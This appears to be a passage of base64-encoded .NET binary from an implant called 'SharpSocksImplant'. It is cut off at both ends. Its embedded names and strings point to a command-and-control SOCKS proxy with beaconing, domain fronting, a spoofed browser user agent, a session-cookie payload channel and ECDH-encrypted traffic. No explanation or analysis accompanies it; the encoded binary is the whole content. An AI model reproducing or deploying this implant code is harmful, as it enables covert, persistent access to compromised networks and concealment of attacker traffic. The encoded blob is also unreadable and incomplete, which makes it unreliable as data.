kaXJlY3Q+a19fQmFja2luZ0ZpZWxkADxFeGl0PmtfX0JhY2tpbmdGaWVsZAA8U2VuZFZpYUltcGxhbnQ+a19fQmFja2luZ0ZpZWxkADxVc2VyQWdlbnQ+a19fQmFja2luZ0ZpZWxkADxUYXJnZXRUY3BDbGllbnQ+a19fQmFja2luZ0ZpZWxkADxUYXJnZXRQb3J0PmtfX0JhY2tpbmdGaWVsZAA8U2VydmVySG9zdD5rX19CYWNraW5nRmllbGQAPFdlYlByb3h5PmtfX0JhY2tpbmdGaWVsZAA8VXNlUHJveHk+a19fQmFja2luZ0ZpZWxkAFNlbmQAQXBwZW5kAElzTnVsbE9yV2hpdGVTcGFjZQBnZXRfX2NhbmNlbFRva2VuU291cmNlAHNldF9fY2FuY2VsVG9rZW5Tb3VyY2UAQ2FuY2VsbGF0aW9uVG9rZW5Tb3VyY2UARXJyb3JDb2RlAGdldF9TdGF0dXNDb2RlAHNldF9TdGF0dXNDb2RlAEh0dHBTdGF0dXNDb2RlAHNldF9Nb2RlAEZpbGVNb2RlAFBhZGRpbmdNb2RlAENpcGhlck1vZGUAWE5vZGUAWmVyb0ZyZWVHbG9iYWxBbGxvY1VuaWNvZGUAU2VjdXJlU3RyaW5nVG9HbG9iYWxBbGxvY1VuaWNvZGUAZ2V0X01lc3NhZ2UAZ2V0X19Mb2dNZXNzYWdlAHNldF9fTG9nTWVzc2FnZQBBZGRSYW5nZQBnZXRfU2lsZW50bHlEaWUAc2V0X1NpbGVudGx5RGllAF9lY0RpZmZpZQBnZXRfU2VydmVyQ29va2llAHNldF9TZXJ2ZXJDb29raWUAVGFrZQBJbnZva2UAZ2V0X0F2YWlsYWJsZQBnZXRfRGF0YUF2YWlsYWJsZQBFbnVtZXJhYmxlAElEaXNwb3NhYmxlAFJ1bnRpbWVGaWVsZEhhbmRsZQBXYWl0SGFuZGxlAFdyaXRlVG9GaWxlAENvbnNvbGUAWE5hbWUAZ2V0X1BheWxvYWRDb29raWVOYW1lAHNldF9QYXlsb2FkQ29va2llTmFtZQBwYXlsb2FkQ29va2llTmFtZQBnZXRfU2Vzc2lvbkNvb2tpZU5hbWUAc2V0X1Nlc3Npb25Db29raWVOYW1lAHNlc3Npb25Db29raWVOYW1lAEZpbGVOYW1lAENoZWNrSG9zdE5hbWUAZ2V0X0VsYXBzZWRUaW1lAHNldF9FbGFwc2VkVGltZQBEYXRlVGltZQBnZXRfQmVhY29uVGltZQBzZXRfQmVhY29uVGltZQBDb21tYW5kQmVhY29uVGltZQBiZWFjb25UaW1lAFdhaXRPbmUAQXBwZW5kTGluZQBXcml0ZUxpbmUAQ29tYmluZQBNZW1vcnlQcm90ZWN0aW9uU2NvcGUAVXJpSG9zdE5hbWVUeXBlAFZhbHVlVHlwZQBTeXN0ZW0uQ29yZQBSZXRyeVVudGlsRmFpbHVyZQBDb21tYW5kVGltZW91dFJldHJ5T25GYWlsdXJlAGdldF9SZXNwb25zZQBIdHRwV2ViUmVzcG9uc2UAR2V0V2ViUmVzcG9uc2UAX3ZlcmJvc2UAQ2xvc2UARGlzcG9zZQBQYXJzZQBYNTA5Q2VydGlmaWNhdGUARGVsZWdhdGUAV3JpdGUAWEF0dHJpYnV0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBfZXJyb3JRdWV1ZQBfc3RhdHVzUXVldWUAZ2V0X1ZhbHVlAGdldF9IYXNWYWx1ZQB2YWx1ZQBzZXRfRXhwZWN0MTAwQ29udGludWUASW5pdGlhbGl6ZQBTZXRWZXJib3NlT2ZmAEltcGxhbnRTaWRlLkNsYXNzZXMuQ29uZmlnAGdldF9DMkNvbmZpZwBzZXRfQzJDb25maWcAR2V0Q21kQ2hhbm5lbENvbmZpZwBDb21tYW5kQ2hhbm5lbENvbmZpZwBjMmNvbmZpZwBfY29uZmlnAEVDRGlmZmllSGVsbG1hbkNuZwBTeXN0ZW0uVGhyZWFkaW5nAHNldF9QYWRkaW5nAEVuY29kaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcARnJvbUJhc2U2NFN0cmluZwBUb0Jhc2U2NFN0cmluZwBEb3dubG9hZFN0cmluZwBVcGxvYWRTdHJpbmcAU2VjdXJlU3RyaW5nAFRvU3RyaW5nAEdldFN0cmluZwBEZWJ1Z0ZpbGVMb2cASUltcGxhbnRMb2cAZ2V0X19CYW5uZXJNZXNnAHNldF9fQmFubmVyTWVzZwBlcnJvck1lc2cAbWVzZwBGb3JFYWNoAE1hdGNoAEZsdXNoAFN5c3RlbS5YbWwuWFBhdGgAZ2V0X0xvZ0ZpbGVQYXRoAExvZ1BhdGgAR2V0VGVtcFBhdGgARW5kc1dpdGgAUHRyVG9TdHJpbmdVbmkAVGFtcGVyVXJpAF9zZXJ2ZXJVcmkAUmVtb3RlQ2VydGlmaWNhdGVWYWxpZGF0aW9uQ2FsbGJhY2sAc2V0X1NlcnZlckNlcnRpZmljYXRlVmFsaWRhdGlvbkNhbGxiYWNrAFRyYW5zZm9ybUZpbmFsQmxvY2sAVGFzawBNYXJzaGFsAERlcml2ZUtleU1hdGVyaWFsAERlY2ltYWwAcmV0cnlJbnRlcnZhbABDYW5jZWwAX2NtZENoYW5uZWwAU3RvcENvbW1hbmRDaGFubmVsAEhBUkRTdG9wQWxsAFNoYXJwU29ja3NJbXBsYW50LmRsbABGaWxlU3RyZWFtAE5ldHdvcmtTdHJlYW0AR2V0U3RyZWFtAGdldF9JdGVtAHNldF9JdGVtAFN5c3RlbQBTeW1tZXRyaWNBbGdvcml0aG0AQ25nQWxnb3JpdGhtAHNldF9IYXNoQWxnb3JpdGhtAFJhbmRvbQBJQ3J5cHRvVHJhbnNmb3JtAEVudW0ASXNWZXJib3NlT24AU2V0VmVyYm9zZU9uAEJvb2xlYW4ARUNEaWZmaWVIZWxsbWFuAGdldF9Ub2tlbgBnZXRfX2NhbmNlbFRva2VuAHNldF9fY2FuY2VsVG9rZW4AQ2FuY2VsbGF0aW9uVG9rZW4AdG9rZW4AT3BlbgBYNTA5Q2hhaW4Ac2V0X0RvbWFpbgBGcm9udGluZ0RvbWFpbgBmcm9udGluZ0RvbWFpbgBTb2Nrc1Byb3h5LkNsYXNzZXMuSW50ZWdyYXRpb24AU29ja3NDbGllbnRDb25maWd1cmF0aW9uAEFjdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBDb29raWVDb2xsZWN0aW9uAE5hbWVWYWx1ZUNvbGxlY3Rpb24AV2ViSGVhZGVyQ29sbGVjdGlvbgBLZXlDb2xsZWN0aW9uAHNldF9LZXlEZXJpdmF0aW9uRnVuY3Rpb24ARUNEaWZmaWVIZWxsbWFuS2V5RGVyaXZhdGlvbkZ1bmN0aW9uAFJlcG9ydEVycm9yV2ViRXhjZXB0aW9uAENvbW1vbi5DbGFzc2VzLkVuY3J5cHRpb24AZ2V0X0VuY3J5cHRpb24Ac2V0X0VuY3J5cHRpb24AX2VuY3J5cHRpb24AVGFyZ2V0SW5mbwBaZXJvAFNraXAAU3RhcnRDb21tYW5kTG9vcABnZXRfX2NvbW1hbmRDaGFubmVsTG9vcABzZXRfX2NvbW1hbmRDaGFubmVsTG9vcABnZXRfUHJveHlMb29wAHNldF9Qcm94eUxvb3AASEFSRFN0b3AAR3JvdXAAU3lzdGVtLlhtbC5MaW5xAFN5c3RlbS5MaW5xAENsZWFyAENoYXIAZ2V0X0hvc3RIZWFkZXIAc2V0X0hvc3RIZWFkZXIAU3RyaW5nQnVpbGRlcgBTZXJ2aWNlUG9pbnRNYW5hZ2VyAF9zdGF0dXNMb2NrZXIAX2xvY2tlcgBDb21tYW5kQ29tbXVuaWNhdGlvbkhhbmRsZXIASW1wbGFudFNpZGUuQ2xhc3Nlcy5FcnJvckhhbmRsZXIAZ2V0X0Vycm9ySGFuZGxlcgBzZXRfRXJyb3JIYW5kbGVyAElJbnRlcm5hbEVycm9ySGFuZGxlcgBfY21kQ29tbXNIYW5kbGVyAGdldF9DbWRDb21tc2hhbmRsZXIAc2V0X0NtZENvbW1zaGFuZGxlcgBDb21tYW5kQ2hhbm5lbENvbnRyb2xsZXIAU29ja3NMb29wQ29udHJvbGxlcgBDcmVhdGVTb2Nrc0NvbnRyb2xsZXIAX3NvY2tMb29wY3RybGxlcgBsaXN0ZW5lcgBYQ29udGFpbmVyAGdldF9Db29raWVDb250YWluZXIAc2V0X0Nvb2tpZUNvbnRhaW5lcgBjb250YWluZXIARUNESEVuY3J5cHRpb25IZWxwZXIASUVuY3J5cHRpb25IZWxwZXIASVRhbXBlcgBnZXRfVGFtcGVyAHNldF9UYW1wZXIAU3RyZWFtV3JpdGVyAFRleHRXcml0ZXIARW50ZXIAQ29tbWFuZEppdHRlcgBfdXJsUmFuZG9taXplcgBXZWJFeGNlcHRpb25BbmFseXplcgBMb2dWZXJib3NlRXJyb3IAZ2V0X19Mb2dFcnJvcgBzZXRfX0xvZ0Vycm9yAGdldF9fRmFpbEVycm9yAHNldF9fRmFpbEVycm9yAF9lcnJvcgAuY3RvcgAuY2N0b3IATW9uaXRvcgBDcmVhdGVEZWNyeXB0b3IAZ2V0X0VuY3J5cHRvcgBzZXRfRW5jcnlwdG9yAENvbW1vbi5FbmNyeXB0aW9uLlNpbXBsZUVuY3J5cHRvcgBEZWJ1Z1NpbXBsZUVuY3J5cHRvcgBDcmVhdGVFbmNyeXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBJbXBsYW50U2lkZS5JbnRlcmZhY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAGdldF9Db29raWVzAFJlYWRDb29raWVzAEltcGxhbnRTaWRlLkNsYXNzZXMAU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5YNTA5Q2VydGlmaWNhdGVzAEdldEJ5dGVzAGdldF9VUkxQYXRocwBzZXRfVVJMUGF0aHMAdXJsUGF0aHMAPD40X190aGlzAEltcGxhbnRTaWRlLkNsYXNzZXMuU29ja3MAU29ja3NQcm94eS5DbGFzc2VzLlNvY2tzAFN5c3RlbS5UaHJlYWRpbmcuVGFza3MASVB2NFRvb2xzAEltcGxhbnRTaWRlLkNsYXNzZXMuQ29tbXMAU2hhcnBTb2Nrc1NlcnZlci5TZXJ2ZXJDb21tcwBnZXRfSW1wbGFudENvbW1zAHNldF9JbXBsYW50Q29tbXMAUG9zaERlZmF1bHRJbXBsYW50Q29tbXMAX2ltcGxhbnRDb21tcwBpbXBsYW50Y29tbXMARG5zAENvbnRhaW5zAFNvY2tzUHJveHkuQ2xhc3Nlcy5FeHRlbnNpb25zAFN5c3RlbS5UZXh0LlJlZ3VsYXJFeHByZXNzaW9ucwBnZXRfSGVhZGVycwBJbXBsYW50U2lkZS5DbGFzc2VzLkhlbHBlcnMAUnVudGltZUhlbHBlcnMAZ2V0X1ZlcmJvc2VFcnJvcnMAc2V0X1ZlcmJvc2VFcnJvcnMAU3NsUG9saWN5RXJyb3JzAGVycm9ycwBGaWxlQWNjZXNzAGdldF9TdWNjZXNzAElQQWRkcmVzcwBhZGRyZXNzAF90YXJnZXRzAFN5c3RlbS5OZXQuU29ja2V0cwBJbXBsYW50U2lkZS5DbGFzc2VzLkNvbnN0YW50cwBYUGF0aFNlbGVjdEVsZW1lbnRzAENvbW1hbmRUaW1lb3V0UmV0cnlBdHRlbXB0cwBFeGlzdHMAZ2V0X1N0YXR1cwBzZXRfU3RhdHVzAFdlYkV4Y2VwdGlvblN0YXR1cwBRdWV1ZUxpc3RlbmVyU3RhdHVzAHN0YXR1cwBnZXRfS2V5cwBnZXRfQWxsS2V5cwBDb25jYXQAQ25nS2V5QmxvYkZvcm1hdABPYmplY3QAQ29ubmVjdABnZXRfQXV0b1JlZGlyZWN0AHNldF9BdXRvUmVkaXJlY3QAc2V0X0FsbG93QXV0b1JlZGlyZWN0AFByb3RlY3QAVW5wcm90ZWN0AFN5c3RlbS5OZXQASW1wbGFudFNpZGUuQ2xhc3Nlcy5UYXJnZXQAT3Blbk5ld0Nvbm5lY3Rpb25Ub1RhcmdldAB0YXJnZXQAU29ja2V0AG9wX0ltcGxpY2l0AFNwbGl0AGdldF9FeGl0AHNldF9FeGl0AElBc3luY1Jlc3VsdAByZXN1bHQAZ2V0X1NlbmRWaWFJbXBsYW50AHNldF9TZW5kVmlhSW1wbGFudABJU29ja3NJbXBsYW50AFNoYXJwU29ja3NJbXBsYW50AGdldF9Vc2VyQWdlbnQAc2V0X1VzZXJBZ2VudABfdXNlckFnZW50AGdldF9DbGllbnQAV2ViQ2xpZW50AGdldF9UYXJnZXRUY3BDbGllbnQAc2V0X1RhcmdldFRjcENsaWVudABfY2xpZW50AElzVHJhbnNpZW50AFhFbGVtZW50AFhQYXRoU2VsZWN0RWxlbWVudABYRG9jdW1lbnQAQXV0b1Jlc2V0RXZlbnQASVBFbmRQb2ludABnZXRfUmVtb3RlRW5kUG9pbnQAZ2V0X1NlcnZpY2VQb2ludABnZXRfQ291bnQAcmV0cnlDb3VudABEZWNyeXB0AEVuY3J5cHQAU3RhcnQAQ29udmVydABNYXRjaElzSVBQb3J0AGlwUG9ydABnZXRfVGFyZ2V0UG9ydABzZXRfVGFyZ2V0UG9ydAB0YXJnZXRQb3J0AEh0dHBXZWJSZXF1ZXN0AEdldFdlYlJlcXVlc3QAcmVxdWVzdABUb0xpc3QAZ2V0X0FkZHJlc3NMaXN0AGxzdABTaGFycFNvY2tzSW1wbGFudFRlc3RBcHAuSG9zdABnZXRfSG9zdABnZXRfU2VydmVySG9zdABzZXRfU2VydmVySG9zdAB0YXJnZXRIb3N0AGhvc3QARmlyc3QAVGltZW91dABOZXh0AFN5c3RlbS5UZXh0AHRleHQAZ2V0X05vdwBXZWJDbGllbnRFeABfaXBSZWdleABfc2ltcGxlSXBQb3J0UmVnZXgARnJvbUJ5dGVBcnJheQBUb0J5dGVBcnJheQBJbml0aWFsaXplQXJyYXkAVG9BcnJheQBiYXNlNjRLZXkAc2V0X0tleQBnZXRfUHVibGljS2V5AEVDRGlmZmllSGVsbG1hbkNuZ1B1YmxpY0tleQBFQ0RpZmZpZUhlbGxtYW5QdWJsaWNLZXkAc2V0X1RoZWlyUHVibGljS2V5AERlcml2ZUtleQBfa2V5AFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkAQWRkcmVzc0ZhbWlseQBQcm90ZWN0ZWRNZW1vcnkARGlyZWN0b3J5AElQSG9zdEVudHJ5AEdldEhvc3RFbnRyeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5AFN5c3RlbS5TZWN1cml0eQBTeXN0ZW0uTmV0LlNlY3VyaXR5AEVtcHR5AHNldF9Qcm94eQBJV2ViUHJveHkAZ2V0X1dlYlByb3h5AHNldF9XZWJQcm94eQBHZXRTeXN0ZW1XZWJQcm94eQB3YlByb3h5AGdldF9Vc2VQcm94eQBzZXRfVXNlUHJveHkAUG9zaENyZWF0ZVByb3h5AHoAAE9FAFIAUgBPAFIAOgAgAEwAbwBnACAAZABpAHIAZQBjAHQAbwByAHkAIAB7ADAAfQAgAGQAbwBlAHMAIABuAG8AdAAgAGUAeABpAHMAdAAALVMAaABhAHIAcABTAG8AYwBrAHMAXwBMAG8AZwBfAHsAMAB9AC4AdAB4AHQAACd5AHkAeQB5AC0AZABkAC0ATQAtAC0ASABIAC0AbQBtAC0AcwBzAAFFRQBSAFIATwBSADoAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHcAcgBpAHQAZQAgAHQAbwAgAHsAMAB9ADoAIAB7ADEAfQAAGVsAewAwAH0AXQBbAFgAXQAgAHsAMQB9AAAZWwB7ADAAfQBdAFsAIQBdACAAewAxAH0AAE1bAHsAMAB9AF0AWwBYAF0AIABFAHIAcgBvAHIAIABDAG8AZABlADoAIAB7ADEAfQAgAE0AZQBzAHMAYQBnAGUAOgAgAHsAMgB9ACAAAAd7ADAAfQAAPVUAbgBhAGIAbABlACAAdABvACAAcgBlAHMAbwBsAHYAZQAgAHQAaABlACAAaABvAHMAdAAgAHsAMAB9AAA/RgBhAGkAbABlAGQAIAB0AG8AIABjAHIAZQBhAHQAZQAgAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAB0AG8AIAAAEyAAbwBuACAAcABvAHIAdAAgAAA5QwBhAG4AJwB0ACAAZgBpAG4AZAAgAHQAYQByAGcAZQB0ACAAZgBvAHIAIABHAFUASQBEADoAIAABMSAAZQB4AGkAdABpAG4AZwAgAHQAaABpAHMAIABwAHIAbwB4AHkAIABsAG8AbwBwAAARbgBvAGMAaABhAG4AZwBlAACAi0MAbwBuAG4AZQBjAHQAaQBvAG4AIABvAHAAZQBuAGUAZAAgAGIAdQB0ACAAbgBvACAAZABhAHQAYQAgAHMAZQBuAHQAIABmAG8AcgAgAHsAMAB9ADoAewAxAH0AIABiAGkAbgBuAGkAbgBnACAAYwBvAG4AbgBlAGMAdABpAG8AbgAgAG4AbwB3AAAvVwByAGkAdAB0AGUAbgAgAHsAMAB9ACAAZgByAG8AbQAgAGMAbABpAGUAbgB0AAA3UwBvAGMAawBzACAAewAwAH0AIAByAGUAYQBkAGkAbgBnACAAewAxAH0AIABiAHkAdABlAHMAAB1FAFIAUgBPAFIAOgAgAHsAMAB9ACAAewAxAH0AAHFUAGEAcgBnAGUAdAAgAGkAcwAgAG4AdQBsAGwAIAB7ADAAfQAgACYAIAB0AGEAcgBnAGUAdAAuAFQAYQByAGcAZQB0AFQAYwBwAEMAbABpAGUAbgB0ACAAaQBzACAAbgB1AGwAbAAgAHsAMQB9ACAAAA1jAGwAbwBzAGUAZAAAJ0MAbABvAHMAZQAgAGEAbABsACAAdAByAGkAZwBnAGUAcgBlAGQAAB9DAGwAbwBzAGkAbgBnACAAewAwAH0AOgB7ADEAfQAAL0gAQQBSAEQAIABTAFQATwBQACAAQQBMAEwAIABUAFIASQBHAEcARQBSAEUARAAATUgAQQBSAEQAIABTAFQATwBQACAAQQBMAEwAIABPAE4AIABDAE8ATgBOAEUAQwBUAEkATwBOACAAVABPACAAewAwAH0AOgB7ADEAfQAALUUAbgBjAHIAeQBwAHQAaQBvAG4AIABrAGUAeQAgAGkAcwAgAG4AdQBsAGwAAIDlTQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwA2ADAALgAwAC4AMwAxADEAMgAuADcAOAAgAFMAYQBmAGEAcgBpAC8ANQAzADcALgAzADYAACNBAFMAUAAuAE4ARQBUAF8AUwBlAHMAcwBpAG8AbgBJAGQAACtDAG8AbgBmAGkAZwAgAG8AYgBqAGUAYwB0ACAAaQBzACAAbgB1AGwAbAAAH1AAcgBvAHgAeQBJAFAAIABpAHMAIABuAHUAbABsAAAxSQBtAHAAbABhAG4AdAAgAGMAYQBsAGwAYgBhAGMAawAgAGkAcwAgAG4AdQBsAGwAADdGAGEAaQBsAGUAZAAgAHQAbwAgAGQAZQByAGkAdgBlACAAcwBlAHIAdgBlAHIAIABrAGUAeQAAgIdDAG8AbQBtAGEAbgBkACAAQwBoAGEAbgBuAGUAbAAgAGwAbwBvAHAAIABhAHAAcABlAGEAcgBzACAAYgByAG8AawBlAG4AIABhAHQAdABlAG0AcAB0AGkAbgBnACAAdABvACAAcgBlAGMAbwBuAG4AZQBjAHQAIABpAG4AIAB7ADAAfQBzAACAjUMAbwBtAG0AYQBuAGQAIABDAGgAYQBuAG4AZQBsACAAbABvAG8AcAAgAGkAcwAgAGQAZQBhAGQAIABhAHQAdABlAG0AcAB0AGUAZAAgAHQAbwAgAHIAZQBjAG8AbgBuAGUAYwB0ACAAewAwAH0AIAB0AGkAbQBlAHMALgAgAEUAWABJAFQASQBOAEcAACdSAGUAcwBwAG8AbgBzAGUALwBUAGEAcwBrAHMALwBUAGEAcwBrAAAlewAwAH0AIAB0AGEAcwBrAHMAIAByAGUAYwBpAGUAdgBlAGQAAB1DAG8AbQBtAGEAbgBkAEMAaABhAG4AbgBlAGwAAB1MAGkAcwB0AGUAbgBlAHIAUwB0AGEAdAB1AHMAABdSAGUAcQB1AGUAcwB0AFcAbwByAGsAAA1TAHQAYQB0AHUAcwAAE1MAZQBzAHMAaQBvAG4ASQBEAABZQwBvAG0AbQBhAG4AZAAgAGwAbwBvAHAAIABzAHQAYQByAHQAaQBuAGcAIAAtACAAYgBlAGEAYwBvAG4AIAB0AGkAbQBlACAAaQBzACAAewAwAH0AbQBzAAE7RQByAHIAbwByACAAaQBuACAAYwBvAG0AbQBhAG4AZAAgAGMAaABhAG4AbgBlAGwAIABsAG8AbwBwAACAkUMAbwBtAG0AYQBuAGQAIABDAGgAYQBuAG4AZQBsACAAbABvAG8AcAAgAGkAcwAgAGIAcgBvAGsAZQBuACAAewAwAH0ALAAgAFMAaABvAHUAbABkACAAdwBlACAASABBAFIARAAgAFMAVABPAFAAIABBAEwATAAgAEMAbwBuAG4AZQBjAHQAaQBvAG4AcwA/AAAdQwByAGUAYQB0AGUATABpAHMAdABlAG4AZQByAAAbQwBsAG8AcwBlAEwAaQBzAHQAZQBuAGUAcgAAFVQAYQByAGcAZQB0AEgAbwBzAHQAABVUAGEAcgBnAGUAdABQAG8AcgB0AABHQQBiAG8AdQB0ACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAB0AG8AIAB7ADAAfQA6AHsAMQB9AAAJbwBwAGUAbgAAHUYAQQBJAEwARQBEACAAewAwAH0AOgB7ADEAfQAADWYAYQBpAGwAZQBkAABBQwBsAG8AcwBlACAAcwBlAHMAcwBpAG8AbgAgAGkAZAAgAG0AZQBzAHMAYQBnAGUAIABpAHMAIABuAHUAbABsAAADOgAACUgAbwBzAHQAAFdFAG4AYwByAHkAcAB0AGUAZAAgAHAAYQB5AGwAbwBhAGQAIAB3AGEAcwAgAG4AdQBsAGwALAAgAGkAdAAgAHMAaABvAHUAbABkAG4AJwB0ACAAYgBlAAGAr0UAcgByAG8AcgAgAGgAYQBzACAAbwBjAGMAdQByAGUAZAAgAGEAbgBkACAAbABvAG8AawBzACAAbABpAGsAZQAgAGkAdAAnAHMAIAB0AHIAYQBuAHMAaQBlAG4AdAAgAGcAbwBpAG4AZwAgAHQAbwAgAHIAZQB0AHIAeQAgAGkAbgAgAHsAMAB9ACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAOgAgAHsAMQB9AAGAg0sAZQBwAHQAIAB0AHIAeQBpAG4AZwAgAGIAdQB0ACAAYQBmAHIAYQBpAGQAIABlAHIAcgBvAHIAIABpAHMAbgAnAHQAIABnAG8AaQBuAGcAIABhAHcAYQB5ACAAewAwAH0AIAB7ADEAfQAgAHsAMgB9ACAAewAzAH0AIAB7ADQAfQABQ0MAbwBtAG0AYQBuAGQAIABDAGgAYQBuAG4AZQBsACAAZgBhAGkAbABlAGQAIAB0AG8AIABjAG8AbgBuAGUAYwB0AAABACM6ACAAcgBlAHQAcgB5ACAAaQBuAHQAZQByAHYAYQBsACAAAAVtAHMAAGtDAG8AbQBtAGEAbgBkACAAYwBoAGEAbgBuAGUAbAAgAHIAZQAtAHQAcgBpAGUAZAAgAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAA1ACAAdABpAG0AZQBzACAAZwBpAHYAaQBuAGcAIAB1AHAAAUlDAG8AbgBuAGUAYwB0AGkAbwBuACAAbwBuACAAcwBlAHIAdgBlAHIAIABoAGEAcwAgAGIAZQBlAG4AIABrAGkAbABsAGUAZAAAN1MAZQBuAGQAIAB0AG8AIAB7ADAAfQAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHsAMQB9AAANVQBwAGwAbwBhAGQAAIDTXgAoACgAWwAwAC0AOQBdAHwAWwAxAC0AOQBdAFsAMAAtADkAXQB8ADEAWwAwAC0AOQB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